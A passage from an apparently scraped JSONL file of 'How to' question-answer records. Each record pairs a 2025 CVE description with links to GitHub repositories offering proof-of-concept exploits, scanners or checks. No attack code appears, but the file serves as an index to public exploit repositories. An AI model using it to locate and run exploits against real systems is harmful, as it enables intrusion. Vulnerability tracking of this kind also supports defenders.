[ndr-repo/CVE-2025-5777](https://github.com/ndr-repo/CVE-2025-5777)\n- [mr-r3b00t/CVE-2025-5777](https://github.com/mr-r3b00t/CVE-2025-5777)\n- [rashedhasan090/CVE-2025-5777](https://github.com/rashedhasan090/CVE-2025-5777)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153303"}
{"id": "gh_40304442c941", "question": "How to: CVE-2025-5815 (2025-06-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Traffic Monitor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the tfcm_maybe_set_bot_flags() function in all versions up to, and including, 3.2.2. This makes it possible for unauthenticated attackers to disabled bot logging.\n```\n- [RootHarpy/CVE-2025-5815-Nuclei-Template](https://github.com/RootHarpy/CVE-2025-5815-Nuclei-Template)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153308"}
{"id": "gh_4c40a4002cf0", "question": "How to: CVE-2025-5961 (2025-07-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. NOTE: Uploaded files are only accessible on WordPress instances running on the NGINX web server as the existing .htaccess within the target file upload folder prevents access on Apache servers.\n```\n- [d0n601/CVE-2025-5961](https://github.com/d0n601/CVE-2025-5961)\n- [Nxploited/CVE-2025-5961](https://github.com/Nxploited/CVE-2025-5961)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153319"}
{"id": "gh_57b1bd004bcf", "question": "How to: CVE-2025-5964 (2025-06-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA path traversal issue in the API endpoint in M-Files Server before version 25.6.14925.0 allows an authenticated user to read files in the server.\n```\n- [byteReaper77/CVE-2025-5964-](https://github.com/byteReaper77/CVE-2025-5964-)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153323"}
{"id": "gh_6e663e7a1d24", "question": "How to: CVE-2025-6018 (2025-07-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Local Privilege Escalation (LPE) vulnerability has been discovered in pam-config within Linux Pluggable Authentication Modules (PAM). This flaw allows an unprivileged local attacker (for example, a user logged in via SSH) to obtain the elevated privileges normally reserved for a physically present, \"allow_active\" user. The highest risk is that the attacker can then perform all allow_active yes Polkit actions, which are typically restricted to console users, potentially gaining unauthorized control over system configurations, services, or other sensitive operations.\n```\n- [iamgithubber/CVE-2025-6018-19-exploit](https://github.com/iamgithubber/CVE-2025-6018-19-exploit)\n- [dreysanox/CVE-2025-6018_Poc](https://github.com/dreysanox/CVE-2025-6018_Poc)\n- [ibrahmsql/CVE-2025-6018](https://github.com/ibrahmsql/CVE-2025-6018)\n- [Ashwesker/Ashwesker-CVE-2025-6018](https://github.com/Ashwesker/Ashwesker-CVE-2025-6018)\n- [euxem/Analyse-faille-de-s-curit-CVE-2025-6018-CVE-2025-6019](https://github.com/euxem/Analyse-faille-de-s-curit-CVE-2025-6018-CVE-2025-6019)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153329"}
{"id": "gh_92a0e67ef525", "question": "How to: CVE-2025-6019 (2025-06-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Local Privilege Escalation (LPE) vulnerability was found in libblockdev. Generally, the \"allow_active\" setting in Polkit permits a physically present user to take certain actions based on the session type. Due to the way libblockdev interacts with the udisks daemon, an \"allow_active\" user on a system may be able escalate to full root privileges on the target host. Normally, udisks mounts user-provided filesystem images with security flags like nosuid and nodev to prevent privilege escalation.  However, a local attacker can create a specially crafted XFS image containing a SUID-root shell, then trick udisks into resizing it. This mounts their malicious filesystem with root privileges, allowing them to execute their SUID-root shell and gain complete control of the system.\n```\n- [guinea-offensive-security/CVE-2025-6019](https://github.com/guinea-offensive-security/CVE-2025-6019)\n- [And-oss/CVE-2025-6019-exploit](https://github.com/And-oss/CVE-2025-6019-exploit)\n- [neko205-mx/CVE-2025-6019_Exploit](https://github.com/neko205-mx/CVE-2025-6019_Exploit)\n- [harshitvarma05/CVE-2025-6019](https://github.com/harshitvarma05/CVE-2025-6019)\n- [robbin0919/CVE-2025-6019](https://github.com/robbin0919/CVE-2025-6019)\n- [phamdinhquy2512/CVE-2025-6019-Exploitation](https://github.com/phamdinhquy2512/CVE-2025-6019-Exploitation)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153335"}
{"id": "gh_5179ccfa8718", "question": "How to: CVE-2025-6058 (2025-07-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n```\n- [Nxploited/CVE-2025-6058](https://github.com/Nxploited/CVE-2025-6058)\n- [JayVillain/Scan-CVE-2025-6058](https://github.com/JayVillain/Scan-CVE-2025-6058)\n- [0xgh057r3c0n/CVE-2025-6058](https://github.com/0xgh057r3c0n/CVE-2025-6058)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153339"}
{"id": "gh_06ea11eb16a6", "question": "How to: CVE-2025-6082 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Birth Chart Compatibility plugin for WordPress is vulnerable to Full Path Disclosure in all versions up to, and including, 2.0. This is due to insufficient protection against directly accessing the plugin's index.php file, which causes an error exposing the full path. This makes it possible for unauthenticated attackers to retrieve the full path of the web application, which can be used to aid other attacks. The information displayed is not useful on its own, and requires another vulnerability to be present for damage to an affected website.\n```\n- [byteReaper77/CVE-2025-6082](https://github.com/byteReaper77/CVE-2025-6082)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153344"}
{"id": "gh_680f4c737265", "question": "How to: CVE-2025-6085 (2025-09-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Make Connector plugin for WordPress is vulnerable to arbitrary file uploads due to misconfigured file type validation in the 'upload_media' function in all versions up to, and including, 1.5.10. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.\n```\n- [d0n601/CVE-2025-6085](https://github.com/d0n601/CVE-2025-6085)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153349"}
{"id": "gh_ce707fa66bf9", "question": "How to: CVE-2025-6218 (2025-06-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nRARLAB WinRAR Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\\n\\nThe specific flaw exists within the handling of file paths within archive files. A crafted file path can cause the process to traverse to unintended directories. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-27198.\n```\n- [speinador/CVE-2025-6218_WinRAR](https://github.com/speinador/CVE-2025-6218_WinRAR)\n- [ignis-sec/CVE-2025-6218](https://github.com/ignis-sec/CVE-2025-6218)\n- [skimask1690/CVE-2025-6218-POC](https://github.com/skimask1690/CVE-2025-6218-POC)\n- [mulwareX/CVE-2025-6218-POC](https://github.com/mulwareX/CVE-2025-6218-POC)\n- [absholi7ly/CVE-2025-6218-WinRAR-Directory-Traversal-RCE](https://github.com/absholi7ly/CVE-2025-6218-WinRAR-Directory-Traversal-RCE)\n- [Chrxstxqn/CVE-2025-6218-WinRAR-RCE-POC](https://github.com/Chrxstxqn/CVE-2025-6218-WinRAR-RCE-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153355"}
{"id": "gh_6e10d15614ce", "question": "How to: CVE-2025-6220 (2025-06-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'save_options' function in all versions up to, and including, 3.5.12. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.\n```\n- [d0n601/CVE-2025-6220](https://github.com/d0n601/CVE-2025-6220)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153359"}
{"id": "gh_f680fa132075", "question": "How to: CVE-2025-6335 (2025-06-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEine kritische Schwachstelle wurde in DedeCMS bis 5.7.2 gefunden. Es geht hierbei um eine nicht näher spezifizierte Funktion der Datei /include/dedetag.class.php der Komponente Template Handler. Durch das Manipulieren des Arguments notes mit unbekannten Daten kann eine command injection-Schwachstelle ausgenutzt werden. Der Angriff kann über das Netzwerk angegangen werden. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [jujubooom/CVE-2025-6335](https://github.com/jujubooom/CVE-2025-6335)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153364"}
{"id": "gh_7367cd9bc3d9", "question": "How to: CVE-2025-6384 (2025-06-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of CrafterCMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass.\\n\\nBy inserting malicious Groovy elements, an attacker may bypass Sandbox restrictions and obtain RCE (Remote Code Execution).\\n\\nThis issue affects CrafterCMS: from 4.0.0 through 4.2.2.\n```\n- [mbadanoiu/CVE-2025-6384](https://github.com/mbadanoiu/CVE-2025-6384)\n- [maestro-ant/CrafterCMS-CVE-2025-6384](https://github.com/maestro-ant/CrafterCMS-CVE-2025-6384)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153378"}
{"id": "gh_e30dc4acca04", "question": "How to: CVE-2025-6389 (2025-11-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.3 via the sneeit_articles_pagination_callback() function. This is due to the function accepting user input and then passing that through call_user_func(). This makes it possible for unauthenticated attackers to execute code on the server which can be leveraged to inject backdoors or, for example, create new administrative user accounts.\n```\n- [Ashwesker/Ashwesker-CVE-2025-6389](https://github.com/Ashwesker/Ashwesker-CVE-2025-6389)\n- [itsismarcos/SneeitScanner-CVE-2025-6389](https://github.com/itsismarcos/SneeitScanner-CVE-2025-6389)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153383"}
{"id": "gh_8ac235a25d62", "question": "How to: CVE-2025-6440 (2025-10-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe WooCommerce Designer Pro plugin for WordPress, used by the Pricom - Printing Company & Design Services WordPress theme, is vulnerable to arbitrary file uploads due to missing file type validation in the 'wcdp_save_canvas_design_ajax' function in all versions up to, and including, 1.9.26. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n```\n- [AnotherSec/CVE-2025-6440](https://github.com/AnotherSec/CVE-2025-6440)\n- [m2hcz/CVE-2025-6440-Poc-Exploit](https://github.com/m2hcz/CVE-2025-6440-Poc-Exploit)\n- [smuft1707/CVE-2025-6440](https://github.com/smuft1707/CVE-2025-6440)\n- [rimbadirgantara/CVE-2025-6440](https://github.com/rimbadirgantara/CVE-2025-6440)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153389"}
{"id": "gh_01edf21a424d", "question": "How to: CVE-2025-6514 (2025-07-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nmcp-remote is exposed to OS command injection when connecting to untrusted MCP servers due to crafted input from the authorization_endpoint response URL\n```\n- [ChaseHCS/CVE-2025-6514](https://github.com/ChaseHCS/CVE-2025-6514)\n- [dotsetlabs/overwatch](https://github.com/dotsetlabs/overwatch)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153397"}
{"id": "gh_0c2dd85a08e2", "question": "How to: CVE-2025-6543 (2025-06-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMemory overflow vulnerability leading to unintended control flow and Denial of Service in NetScaler ADC and NetScaler Gateway when configured as Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server\n```\n- [grupooruss/Citrix-cve-2025-6543](https://github.com/grupooruss/Citrix-cve-2025-6543)\n- [lex1010/CVE-2025-6543](https://github.com/lex1010/CVE-2025-6543)\n- [abrewer251/CVE-2025-6543_CitrixNetScaler_PoC](https://github.com/abrewer251/CVE-2025-6543_CitrixNetScaler_PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153402"}
{"id": "gh_8fb00fa3f726", "question": "How to: CVE-2025-6554 (2025-06-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nType confusion in V8 in Google Chrome prior to 138.0.7204.96 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: High)\n```\n- [gmh5225/CVE-2025-6554](https://github.com/gmh5225/CVE-2025-6554)\n- [gmh5225/CVE-2025-6554-2](https://github.com/gmh5225/CVE-2025-6554-2)\n- [PwnToday/CVE-2025-6554](https://github.com/PwnToday/CVE-2025-6554)\n- [ghostn4444/POC-CVE-2025-6554](https://github.com/ghostn4444/POC-CVE-2025-6554)\n- [LordBheem/CVE-2025-6554](https://github.com/LordBheem/CVE-2025-6554)\n- [juccoblak/CVE-2025-6554](https://github.com/juccoblak/CVE-2025-6554)\n- [aklnjakln/CVE-2025-6554](https://github.com/aklnjakln/CVE-2025-6554)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153407"}
{"id": "gh_d9b3545564e5", "question": "How to: CVE-2025-6558 (2025-07-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nInsufficient validation of untrusted input in ANGLE and GPU in Google Chrome prior to 138.0.7204.157 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)\n```\n- [gmh5225/CVE-2025-6558-exp](https://github.com/gmh5225/CVE-2025-6558-exp)\n- [DevBuiHieu/CVE-2025-6558-Proof-Of-Concept](https://github.com/DevBuiHieu/CVE-2025-6558-Proof-Of-Concept)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153412"}
{"id": "gh_bd2ef182301d", "question": "How to: CVE-2025-6586 (2025-07-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Download Plugin plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the dpwap_plugin_locInstall function in all versions up to, and including, 2.2.8. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.\n```\n- [d0n601/CVE-2025-6586](https://github.com/d0n601/CVE-2025-6586)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153416"}
{"id": "gh_c0d2d86bf9c1", "question": "How to: CVE-2025-6713 (2025-07-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn unauthorized user may leverage a specially crafted aggregation pipeline to access data without proper authorization due to improper handling of the $mergeCursors stage in MongoDB Server. This may lead to access to data without further authorisation. This issue affects MongoDB Server MongoDB Server v8.0 versions prior to 8.0.7, MongoDB Server v7.0 versions prior to 7.0.19 and MongoDB Server v6.0 versions prior to 6.0.22\n```\n- [c137req/CVE-2025-6713](https://github.com/c137req/CVE-2025-6713)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153423"}
{"id": "gh_b05e869c6570", "question": "How to: CVE-2025-6759 (2025-07-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nLocal Privilege escalation allows a low-privileged user to gain SYSTEM privileges in Windows Virtual Delivery Agent for CVAD and Citrix DaaS\n```\n- [olljanat/TestCitrixException](https://github.com/olljanat/TestCitrixException)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153427"}
{"id": "gh_268376b375cc", "question": "How to: CVE-2025-6860 (2025-06-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn SourceCodester Best Salon Management System 1.0 wurde eine Schwachstelle ausgemacht. Sie wurde als kritisch eingestuft. Betroffen ist eine unbekannte Verarbeitung der Datei /panel/staff_commision.php. Durch das Manipulieren des Arguments fromdate/todate mit unbekannten Daten kann eine sql injection-Schwachstelle ausgenutzt werden. Der Angriff kann über das Netzwerk passieren. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [byteReaper77/CVE-2025-6860](https://github.com/byteReaper77/CVE-2025-6860)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153432"}
{"id": "gh_57ae521eaa29", "question": "How to: CVE-2025-6934 (2025-07-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Opal Estate Pro – Property Management and Submission plugin for WordPress, used by the FullHouse - Real Estate Responsive WordPress Theme, is vulnerable to privilege escalation via in all versions up to, and including, 1.7.5. This is due to a lack of role restriction during registration in the 'on_regiser_user' function. This makes it possible for unauthenticated attackers to arbitrarily choose the role, including the Administrator role, assigned when registering.\n```\n- [Nxploited/CVE-2025-6934](https://github.com/Nxploited/CVE-2025-6934)\n- [MrjHaxcore/CVE-2025-6934](https://github.com/MrjHaxcore/CVE-2025-6934)\n- [0xgh057r3c0n/CVE-2025-6934](https://github.com/0xgh057r3c0n/CVE-2025-6934)\n- [yukinime/CVE-2025-6934](https://github.com/yukinime/CVE-2025-6934)\n- [AnotherSec/CVE-2025-6934](https://github.com/AnotherSec/CVE-2025-6934)\n- [Rosemary1337/CVE-2025-6934](https://github.com/Rosemary1337/CVE-2025-6934)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153448"}
{"id": "gh_985c2f888b1d", "question": "How to: CVE-2025-6970 (2025-07-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Events Manager – Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the ‘orderby’ parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n```\n- [RandomRobbieBF/CVE-2025-6970](https://github.com/RandomRobbieBF/CVE-2025-6970)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153453"}
{"id": "gh_449e8467d88c", "question": "How to: CVE-2025-6980 (2025-10-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCaptive Portal can expose sensitive information\n```\n- [BishopFox/CVE-2025-6980-check](https://github.com/BishopFox/CVE-2025-6980-check)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153457"}
{"id": "gh_ded38039c904", "question": "How to: CVE-2025-6998 (2025-07-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nReDoS in strip_whitespaces() function in cps/string_helper.py in Calibre Web and Autocaliweb allows unauthenticated remote attackers to cause denial of service via specially crafted username parameter that triggers catastrophic backtracking during login. This issue affects Calibre Web: 0.6.24 (Nicolette); Autocaliweb: from 0.7.0 before 0.7.1.\n```\n- [mind2hex/CVE-2025-6998-CalibreWeb-0.6.24-ReDoS](https://github.com/mind2hex/CVE-2025-6998-CalibreWeb-0.6.24-ReDoS)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153462"}
{"id": "gh_bfa348878525", "question": "How to: CVE-2025-7338 (2025-07-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMulter is a node.js middleware for handling `multipart/form-data`. A vulnerability that is present starting in version 1.4.4-lts.1 and prior to version 2.0.2 allows an attacker to trigger a Denial of Service (DoS) by sending a malformed multi-part upload request. This request causes an unhandled exception, leading to a crash of the process. Users should upgrade to version 2.0.2 to receive a patch. No known workarounds are available.\n```\n- [r2c-CSE/multer-sca-rule-test_cve-2025-7338](https://github.com/r2c-CSE/multer-sca-rule-test_cve-2025-7338)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153467"}
{"id": "gh_9c9862983c87", "question": "How to: CVE-2025-7340 (2025-07-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder. plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the temp_file_upload function in all versions up to, and including, 2.2.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n```\n- [Nxploited/CVE-2025-7340](https://github.com/Nxploited/CVE-2025-7340)\n- [Kai-One001/WordPress-HT-Contact-CVE-2025-7340-RCE](https://github.com/Kai-One001/WordPress-HT-Contact-CVE-2025-7340-RCE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153471"}
{"id": "gh_2a4709195bc6", "question": "How to: CVE-2025-7404 (2025-07-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Calibre Web, Autocaliweb allows Blind OS Command Injection.This issue affects Calibre Web: 0.6.24 (Nicolette); Autocaliweb: from 0.7.0 before 0.7.1.\n```\n- [mind2hex/CVE-2025-7404-CalibreWeb-0.6.24-BlindCommandInjection](https://github.com/mind2hex/CVE-2025-7404-CalibreWeb-0.6.24-BlindCommandInjection)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153476"}
{"id": "gh_9738a7b3501a", "question": "How to: CVE-2025-7431 (2025-07-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Knowledge Base plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin slug setting in all versions up to, and including, 2.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.\n```\n- [NagisaYumaa/CVE-2025-7431](https://github.com/NagisaYumaa/CVE-2025-7431)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153481"}
{"id": "gh_40503914e179", "question": "How to: CVE-2025-7461 (2025-07-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEine Schwachstelle wurde in code-projects Modern Bag 1.0 gefunden. Sie wurde als kritisch eingestuft. Dies betrifft einen unbekannten Teil der Datei /action.php. Mittels dem Manipulieren des Arguments proId mit unbekannten Daten kann eine sql injection-Schwachstelle ausgenutzt werden. Der Angriff kann über das Netzwerk passieren. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [bx33661/CVE-2025-7461](https://github.com/bx33661/CVE-2025-7461)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153488"}
